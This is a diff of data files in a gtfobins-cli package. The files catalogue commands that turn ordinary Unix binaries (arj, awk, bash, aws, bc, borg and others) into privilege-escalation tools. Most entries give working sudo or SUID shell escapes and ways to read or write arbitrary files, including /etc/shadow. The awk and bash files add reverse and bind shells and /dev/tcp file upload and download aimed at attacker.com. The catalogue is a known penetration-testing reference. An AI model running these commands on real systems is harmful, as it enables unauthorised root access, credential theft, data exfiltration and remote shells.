gtfobins-cli 1.0.0__py3-none-any.whl → 1.1.0__py3-none-any.whl

gtfo/data/arj.json

@@ -0,0 +1,28 @@
+{
+  "functions": {
+    "file-read": [
+      {
+        "description": "The file appears amid some other textual information. The archive can also be downloaded then extracted offline.",
+        "code": "TF=$(mktemp -u)\nLFILE=file_to_read\narj a \"$TF\" \"$LFILE\"\narj p \"$TF\"\n"
+      }
+    ],
+    "file-write": [
+      {
+        "description": "The archive can also be prepared offline then uploaded.",
+        "code": "TF=$(mktemp -d)\nLFILE=file_to_write\nLDIR=where_to_write\necho DATA >\"$TF/$LFILE\"\narj a \"$TF/a\" \"$TF/$LFILE\"\narj e \"$TF/a\" $LDIR\n"
+      }
+    ],
+    "sudo": [
+      {
+        "description": "The archive can also be prepared offline then uploaded.",
+        "code": "TF=$(mktemp -d)\nLFILE=file_to_write\nLDIR=where_to_write\necho DATA >\"$TF/$LFILE\"\narj a \"$TF/a\" \"$TF/$LFILE\"\nsudo arj e \"$TF/a\" $LDIR\n"
+      }
+    ],
+    "suid": [
+      {
+        "description": "The archive can also be prepared offline then uploaded.",
+        "code": "TF=$(mktemp -d)\nLFILE=file_to_write\nLDIR=where_to_write\necho DATA >\"$TF/$LFILE\"\narj a \"$TF/a\" \"$TF/$LFILE\"\n./arj e \"$TF/a\" $LDIR\n"
+      }
+    ]
+  }
+}

gtfo/data/arp.json

@@ -1,20 +1,22 @@
 {
-  "description": "The read file content is corrupted by error prints.\n",
   "functions": {
     "file-read": [
       {
-        "code": "arp -v -f [file]\n"
+        
+        "code": "LFILE=file_to_read\narp -v -f \"$LFILE\"\n"
       }
     ],
     "suid": [
       {
-        "code": "./arp -v -f [file]\n"
+        
+        "code": "LFILE=file_to_read\n./arp -v -f \"$LFILE\"\n"
       }
     ],
     "sudo": [
       {
-        "code": "sudo arp -v -f [file]\n"
+        
+        "code": "LFILE=file_to_read\nsudo arp -v -f \"$LFILE\"\n"
       }
     ]
   }
-}
+}

gtfo/data/as.json

@@ -0,0 +1,22 @@
+{
+  "functions": {
+    "file-read": [
+      {
+        
+        "code": "LFILE=file_to_read\nas @$LFILE\n"
+      }
+    ],
+    "suid": [
+      {
+        
+        "code": "LFILE=file_to_read\n./as @$LFILE\n"
+      }
+    ],
+    "sudo": [
+      {
+        
+        "code": "LFILE=file_to_read\nsudo as @$LFILE\n"
+      }
+    ]
+  }
+}

gtfo/data/ascii-xfr.json

@@ -0,0 +1,22 @@
+{
+  "functions": {
+    "file-read": [
+      {
+        
+        "code": "LFILE=file_to_read\nascii-xfr -ns \"$LFILE\"\n"
+      }
+    ],
+    "suid": [
+      {
+        
+        "code": "LFILE=file_to_read\n./ascii-xfr -ns \"$LFILE\"\n"
+      }
+    ],
+    "sudo": [
+      {
+        
+        "code": "LFILE=file_to_read\nsudo ascii-xfr -ns \"$LFILE\"\n"
+      }
+    ]
+  }
+}

gtfo/data/ascii85.json

@@ -0,0 +1,16 @@
+{
+  "functions": {
+    "file-read": [
+      {
+        
+        "code": "LFILE=file_to_read\nascii85 \"$LFILE\" | ascii85 --decode\n"
+      }
+    ],
+    "sudo": [
+      {
+        
+        "code": "LFILE=file_to_read\nsudo ascii85 \"$LFILE\" | ascii85 --decode\n"
+      }
+    ]
+  }
+}

gtfo/data/ash.json

@@ -2,23 +2,27 @@
   "functions": {
     "shell": [
       {
-        "code": "ash"
+        
+        "code": "ash\n"
       }
     ],
     "file-write": [
       {
-        "code": "ash -c 'echo DATA > [file]'\n"
+        
+        "code": "export LFILE=file_to_write\nash -c 'echo DATA > $LFILE'\n"
       }
     ],
     "suid": [
       {
-        "code": "./ash"
+        
+        "code": "./ash\n"
       }
     ],
     "sudo": [
       {
-        "code": "sudo ash"
+        
+        "code": "sudo ash\n"
       }
     ]
   }
-}
+}

gtfo/data/aspell.json

@@ -0,0 +1,22 @@
+{
+  "functions": {
+    "file-read": [
+      {
+        
+        "code": "LFILE=file_to_read\naspell -c \"$LFILE\"\n"
+      }
+    ],
+    "suid": [
+      {
+        
+        "code": "LFILE=file_to_read\n./aspell -c \"$LFILE\"\n"
+      }
+    ],
+    "sudo": [
+      {
+        
+        "code": "LFILE=file_to_read\nsudo aspell -c \"$LFILE\"\n"
+      }
+    ]
+  }
+}

gtfo/data/asterisk.json

@@ -0,0 +1,20 @@
+{
+  "functions": {
+    "shell": [
+      {
+        "description": "Connect to the Asterisk console and drop into a shell",
+        "code": "!sh\n"
+      }
+    ],
+    "sudo": [
+      {
+        "description": "Start Asterisk as root in the foreground to create its CLI socket",
+        "code": "sudo asterisk -F\n"
+      },
+      {
+        "description": "Connect to the Asterisk console as root and drop into a shell",
+        "code": "!sh\n"
+      }
+    ]
+  }
+}

gtfo/data/at.json

@@ -2,17 +2,19 @@
   "functions": {
     "shell": [
       {
+        
         "code": "echo \"/bin/sh <$(tty) >$(tty) 2>$(tty)\" | at now; tail -f /dev/null\n"
       }
     ],
     "command": [
       {
         "description": "The invocation will be blind, but it is possible to redirect the output to a file in a readable location.",
-        "code": "necho \"[command]\" | at now\n"
+        "code": "COMMAND=id\necho \"$COMMAND\" | at now\n"
       }
     ],
     "sudo": [
       {
+        
         "code": "echo \"/bin/sh <$(tty) >$(tty) 2>$(tty)\" | sudo at now; tail -f /dev/null\n"
       }
     ]

gtfo/data/atobm.json

@@ -1,19 +1,21 @@
 {
-  "description": "Outputs the first line of the file to standard error without the '-' and '#' characters, this can be customized with the '-c' option, by default is '-c -#'.",
   "functions": {
     "file-read": [
       {
-        "code": "atobm [file] 2>&1 | awk -F \"'\" '{printf \"%s\", $2}'\n"
+        
+        "code": "LFILE=file_to_read\natobm $LFILE 2>&1 | awk -F \"'\" '{printf \"%s\", $2}'\n"
       }
     ],
     "sudo": [
       {
-        "code": "sudo atobm [file] 2>&1 | awk -F \"'\" '{printf \"%s\", $2}'\n"
+        
+        "code": "LFILE=file_to_read\nsudo atobm $LFILE 2>&1 | awk -F \"'\" '{printf \"%s\", $2}'\n"
       }
     ],
     "suid": [
       {
-        "code": "./atobm [file] 2>&1 | awk -F \"'\" '{printf \"%s\", $2}'\n"
+        
+        "code": "LFILE=file_to_read\n./atobm $LFILE 2>&1 | awk -F \"'\" '{printf \"%s\", $2}'\n"
       }
     ]
   }

gtfo/data/awk.json

@@ -2,44 +2,50 @@
   "functions": {
     "shell": [
       {
-        "code": "awk 'BEGIN {system(\"/bin/sh\")}'"
+        
+        "code": "awk 'BEGIN {system(\"/bin/sh\")}'\n"
       }
     ],
     "non-interactive-reverse-shell": [
       {
-        "description": "Run 'nc -l -p [port]' on the attacker box to receive the shell.",
-        "code": "awk -v RHOST=[host] -v RPORT=[port] 'BEGIN {\n    s = \"/inet/tcp/0/\" RHOST \"/\" RPORT;\n    while (1) {printf \"> \" |& s; if ((s |& getline c) <= 0) break;\n    while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'\n"
+        "description": "Run `nc -l -p 12345` on the attacker box to receive the shell.",
+        "code": "RHOST=attacker.com\nRPORT=12345\nawk -v RHOST=$RHOST -v RPORT=$RPORT 'BEGIN {\n    s = \"/inet/tcp/0/\" RHOST \"/\" RPORT;\n    while (1) {printf \"> \" |& s; if ((s |& getline c) <= 0) break;\n    while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'\n"
       }
     ],
     "non-interactive-bind-shell": [
       {
-        "description": "Run 'nc [host] [port]' on the attacker box to connect to the shell.",
-        "code": "awk -v LPORT=[port] 'BEGIN {\n    s = \"/inet/tcp/\" LPORT \"/0/0\";\n    while (1) {printf \"> \" |& s; if ((s |& getline c) <= 0) break;\n    while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'\n"
+        "description": "Run `nc target.com 12345` on the attacker box to connect to the shell.",
+        "code": "LPORT=12345\nawk -v LPORT=$LPORT 'BEGIN {\n    s = \"/inet/tcp/\" LPORT \"/0/0\";\n    while (1) {printf \"> \" |& s; if ((s |& getline c) <= 0) break;\n    while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'\n"
       }
     ],
     "file-write": [
       {
-        "code": "awk -v LFILE=[file] 'BEGIN { print \"DATA\" > LFILE }'\n"
+        
+        "code": "LFILE=file_to_write\nawk -v LFILE=$LFILE 'BEGIN { print \"DATA\" > LFILE }'\n"
       }
     ],
     "file-read": [
       {
-        "code": "awk '//' [file]\n"
+        
+        "code": "LFILE=file_to_read\nawk '//' \"$LFILE\"\n"
       }
     ],
-    "sudo": [
+    "suid": [
       {
-        "code": "sudo awk 'BEGIN {system(\"/bin/sh\")}'"
+        
+        "code": "LFILE=file_to_read\n./awk '//' \"$LFILE\"\n"
       }
     ],
-    "suid": [
-    {
-      "code": "./awk '//' \"[file]\""
-    }
+    "sudo": [
+      {
+        
+        "code": "sudo awk 'BEGIN {system(\"/bin/sh\")}'\n"
+      }
     ],
     "limited-suid": [
       {
-        "code": "./awk 'BEGIN {system(\"/bin/sh\")}'"
+        
+        "code": "./awk 'BEGIN {system(\"/bin/sh\")}'\n"
       }
     ]
   }

gtfo/data/aws.json

@@ -0,0 +1,16 @@
+{
+  "functions": {
+    "shell": [
+      {
+        "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.",
+        "code": "aws help\n!/bin/sh\n"
+      }
+    ],
+    "sudo": [
+      {
+        "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.",
+        "code": "sudo aws help\n!/bin/sh\n"
+      }
+    ]
+  }
+}

gtfo/data/base32.json

@@ -2,18 +2,21 @@
   "functions": {
     "file-read": [
       {
-        "code": "base32 \"[file]\" | base32 --decode\n"
+        
+        "code": "LFILE=file_to_read\nbase32 \"$LFILE\" | base32 --decode\n"
       }
     ],
     "suid": [
       {
-        "code": "base32 \"[file]\" | base32 --decode\n"
+        
+        "code": "LFILE=file_to_read\nbase32 \"$LFILE\" | base32 --decode\n"
       }
     ],
     "sudo": [
       {
-        "code": "sudo base32 \"[file]\" | base32 --decode\n"
+        
+        "code": "LFILE=file_to_read\nsudo base32 \"$LFILE\" | base32 --decode\n"
       }
     ]
   }
-}
+}

gtfo/data/base58.json

@@ -0,0 +1,16 @@
+{
+  "functions": {
+    "file-read": [
+      {
+        
+        "code": "LFILE=file_to_read\nbase58 \"$LFILE\" | base58 --decode\n"
+      }
+    ],
+    "sudo": [
+      {
+        
+        "code": "LFILE=file_to_read\nsudo base58 \"$LFILE\" | base58 --decode\n"
+      }
+    ]
+  }
+}

gtfo/data/base64.json

@@ -2,18 +2,21 @@
   "functions": {
     "file-read": [
       {
-        "code": "base64 [file] | base64 --decode\n"
+        
+        "code": "LFILE=file_to_read\nbase64 \"$LFILE\" | base64 --decode\n"
       }
     ],
     "suid": [
       {
-        "code": "./base64 [file] | base64 --decode\n"
+        
+        "code": "LFILE=file_to_read\n./base64 \"$LFILE\" | base64 --decode\n"
       }
     ],
     "sudo": [
       {
-        "code": "sudo base64 [file] | base64 --decode\n"
+        
+        "code": "LFILE=file_to_read\nsudo base64 \"$LFILE\" | base64 --decode\n"
       }
     ]
   }
-}
+}

gtfo/data/basenc.json

@@ -2,17 +2,20 @@
   "functions": {
     "file-read": [
       {
-        "code": "basenc --base64 [file] | basenc -d --base64\n"
+        
+        "code": "LFILE=file_to_read\nbasenc --base64 $LFILE | basenc -d --base64\n"
       }
     ],
     "suid": [
       {
-        "code": "basenc --base64 [file] | basenc -d --base64\n"
+        
+        "code": "LFILE=file_to_read\nbasenc --base64 $LFILE | basenc -d --base64\n"
       }
     ],
     "sudo": [
       {
-        "code": "sudo basenc --base64 [file] | basenc -d --base64\n"
+        
+        "code": "LFILE=file_to_read\nsudo basenc --base64 $LFILE | basenc -d --base64\n"
       }
     ]
   }

gtfo/data/basez.json

@@ -0,0 +1,22 @@
+{
+  "functions": {
+    "file-read": [
+      {
+        
+        "code": "LFILE=file_to_read\nbasez \"$LFILE\" | basez --decode\n"
+      }
+    ],
+    "suid": [
+      {
+        
+        "code": "LFILE=file_to_read\n./basez \"$LFILE\" | basez --decode\n"
+      }
+    ],
+    "sudo": [
+      {
+        
+        "code": "LFILE=file_to_read\nsudo basez \"$LFILE\" | basez --decode\n"
+      }
+    ]
+  }
+}

gtfo/data/bash.json

@@ -2,68 +2,73 @@
   "functions": {
     "shell": [
       {
-        "code": "bash"
+        
+        "code": "bash\n"
       }
     ],
     "reverse-shell": [
       {
-        "description": "Run 'nc -l -p [port]' on the attacker box to receive the shell.",
-        "code": "bash -c 'exec bash -i &>/dev/tcp/[host]/[port] <&1'\n"
+        "description": "Run `nc -l -p 12345` on the attacker box to receive the shell.",
+        "code": "export RHOST=attacker.com\nexport RPORT=12345\nbash -c 'exec bash -i &>/dev/tcp/$RHOST/$RPORT <&1'\n"
       }
     ],
     "file-upload": [
       {
         "description": "Send local file in the body of an HTTP POST request. Run an HTTP service on the attacker box to collect the file.",
-        "code": "bash -c 'echo -e \"POST / HTTP/0.9\\n\\n$(<[file])\" > /dev/tcp/[host]/[port]'\n"
+        "code": "export RHOST=attacker.com\nexport RPORT=12345\nexport LFILE=file_to_send\nbash -c 'echo -e \"POST / HTTP/0.9\\n\\n$(<$LFILE)\" > /dev/tcp/$RHOST/$RPORT'\n"
       },
       {
-        "description": "Send local file using a TCP connection. Run 'nc -l -p [port] > [file]' on the attacker box to collect the file.",
-        "code": "bash -c 'cat [file] > /dev/tcp/[host]/[port]'\n"
+        "description": "Send local file using a TCP connection. Run `nc -l -p 12345 > \"file_to_save\"` on the attacker box to collect the file.",
+        "code": "export RHOST=attacker.com\nexport RPORT=12345\nexport LFILE=file_to_send\nbash -c 'cat $LFILE > /dev/tcp/$RHOST/$RPORT'\n"
       }
     ],
     "file-download": [
       {
         "description": "Fetch a remote file via HTTP GET request.",
-        "code": "bash -c '{ echo -ne \"GET /[file] HTTP/1.0\\r\\nhost: [host]\\r\\n\\r\\n\" 1>&3; cat 0<&3; } \\\n    3<>/dev/tcp/[host]/[port] \\\n    | { while read -r; do [ \"$REPLY\" = \"$(echo -ne \"\\r\")\" ] && break; done; cat; } > [file]'\n"
+        "code": "export RHOST=attacker.com\nexport RPORT=12345\nexport LFILE=file_to_get\nbash -c '{ echo -ne \"GET /$LFILE HTTP/1.0\\r\\nhost: $RHOST\\r\\n\\r\\n\" 1>&3; cat 0<&3; } \\\n    3<>/dev/tcp/$RHOST/$RPORT \\\n    | { while read -r; do [ \"$REPLY\" = \"$(echo -ne \"\\r\")\" ] && break; done; cat; } > $LFILE'\n"
       },
       {
-        "description": "Fetch remote file using a TCP connection. Run 'nc -l -p [port] < [file]' on the attacker box to send the file.",
-        "code": "bash -c 'cat < /dev/tcp/[host]/[port] > [file]'\n"
+        "description": "Fetch remote file using a TCP connection. Run `nc -l -p 12345 < \"file_to_send\"` on the attacker box to send the file.",
+        "code": "export RHOST=attacker.com\nexport RPORT=12345\nexport LFILE=file_to_get\nbash -c 'cat < /dev/tcp/$RHOST/$RPORT > $LFILE'\n"
       }
     ],
     "file-write": [
       {
-        "code": "bash -c 'echo DATA > [file]'\n"
+        
+        "code": "export LFILE=file_to_write\nbash -c 'echo DATA > $LFILE'\n"
       },
       {
         "description": "This adds timestamps to the output file.",
-        "code": "HISTIGNORE='history *'\nhistory -c\nDATA\nhistory -w [file]\n"
+        "code": "LFILE=file_to_write\nHISTIGNORE='history *'\nhistory -c\nDATA\nhistory -w $LFILE\n"
       }
     ],
     "file-read": [
       {
         "description": "It trims trailing newlines and it's not binary-safe.",
-        "code": "bash -c 'echo \"$(<[file])\"'\n"
+        "code": "export LFILE=file_to_read\nbash -c 'echo \"$(<$LFILE)\"'\n"
       },
       {
         "description": "The read file content is surrounded by the current history content.",
-        "code": "HISTTIMEFORMAT=$'\\r\\e[K'\nhistory -r [file]\nhistory\n"
+        "code": "LFILE=file_to_read\nHISTTIMEFORMAT=$'\\r\\e[K'\nhistory -r $LFILE\nhistory\n"
       }
     ],
     "library-load": [
       {
-        "code": "bash -c 'enable -f ./lib.so x'"
+        
+        "code": "bash -c 'enable -f ./lib.so x'\n"
       }
     ],
     "suid": [
       {
-        "code": "./bash -p"
+        
+        "code": "./bash -p\n"
       }
     ],
     "sudo": [
       {
-        "code": "sudo bash"
+        
+        "code": "sudo bash\n"
       }
     ]
   }
-}
+}

gtfo/data/bashbug.json

@@ -0,0 +1,14 @@
+{
+  "functions": {
+    "inherit": [
+      {
+        "code": "bashbug",
+        "contexts": {
+          "sudo": null,
+          "unprivileged": null
+        },
+        "from": "vi"
+      }
+    ]
+  }
+}

gtfo/data/batcat.json

@@ -0,0 +1,22 @@
+{
+  "functions": {
+    "shell": [
+      {
+        
+        "code": "batcat --paging always /etc/profile\n!/bin/sh\n"
+      }
+    ],
+    "limited-suid": [
+      {
+        
+        "code": "./batcat --paging always /etc/profile\n!/bin/sh\n"
+      }
+    ],
+    "sudo": [
+      {
+        
+        "code": "sudo batcat --paging always /etc/profile\n!/bin/sh\n"
+      }
+    ]
+  }
+}

gtfo/data/bc.json

@@ -0,0 +1,22 @@
+{
+  "functions": {
+    "file-read": [
+      {
+        
+        "code": "LFILE=file_to_read\nbc -s $LFILE\nquit\n"
+      }
+    ],
+    "sudo": [
+      {
+        
+        "code": "LFILE=file_to_read\nsudo bc -s $LFILE\nquit\n"
+      }
+    ],
+    "suid": [
+      {
+        
+        "code": "LFILE=file_to_read\n./bc -s $LFILE\nquit\n"
+      }
+    ]
+  }
+}

gtfo/data/bconsole.json

@@ -0,0 +1,22 @@
+{
+  "functions": {
+    "shell": [
+      {
+        
+        "code": "bconsole\n@exec /bin/sh\n"
+      }
+    ],
+    "sudo": [
+      {
+        
+        "code": "sudo bconsole\n@exec /bin/sh\n"
+      }
+    ],
+    "file-read": [
+      {
+        "description": "The file is actually parsed and the first wrong line is returned in an error message, thus it may not be suitable for reading arbitrary files.",
+        "code": "bconsole -c /etc/shadow\n"
+      }
+    ]
+  }
+}

gtfo/data/bee.json

@@ -0,0 +1,10 @@
+{
+  "functions": {
+    "sudo": [
+      {
+        "description": "For this to work [`bee`](/gtfobins/bee/) must be excuted from the Backdrop CMS root directory (e.g. `/var/www/html`).",
+        "code": "sudo bee eval \"system('sh');\"\n"
+      }
+    ]
+  }
+}

gtfo/data/borg.json

@@ -0,0 +1,16 @@
+{
+  "functions": {
+    "shell": [
+      {
+        "description": "",
+        "code": "borg extract @:/:::  --rsh \"sh -c 'sh </dev/tty >/dev/tty 2>/dev/tty'\"\n"
+      }
+    ],
+    "sudo": [
+      {
+        "description": "",
+        "code": "sudo borg extract @:/:::  --rsh \"sh -c 'sh </dev/tty >/dev/tty 2>/dev/tty'\"\n"
+      }
+    ]
+  }
+}